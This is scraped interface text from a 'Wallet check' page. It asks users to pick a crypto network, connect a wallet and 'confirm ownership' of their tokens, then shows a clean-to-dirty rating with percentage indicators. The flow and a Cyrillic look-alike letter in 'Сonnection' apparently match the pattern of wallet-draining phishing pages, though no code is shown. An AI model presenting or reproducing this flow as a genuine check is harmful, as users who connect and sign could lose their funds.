Wallet check

Step 1

To continue, please select the desired network

USDT

Ethereum Network

ERC-20

USDT

BSC Network

BEP-20

Arbitrum

Arbitrum Network

Arbitrum One

Polygon

Polygon Network

Polygon PoS

Avalanche

Avalanche Network

AVAXC C-Chain

Connect wallet

Step 2

To continue, select and connect your wallet

TRON Network

Selected network

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Сonnection process

Step 3

Please connect your account using a wallet

Selected wallet

Scanning process

Step 4

Confirm ownership of your tokens using a wallet

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15.03%

Rating scored from A to F, where A represents a clean wallet, and F represents a dirty wallet. The total rating is the average value between the indicators

Transaction diversity11.47%

Wallet activity10.21%

Transaction to/from CEX10.82%

Avg. Transaction Value11.41%

Wallet Age10.8%

Suspicious transactions11.68%

Transaction to High-Risk addresses11.06%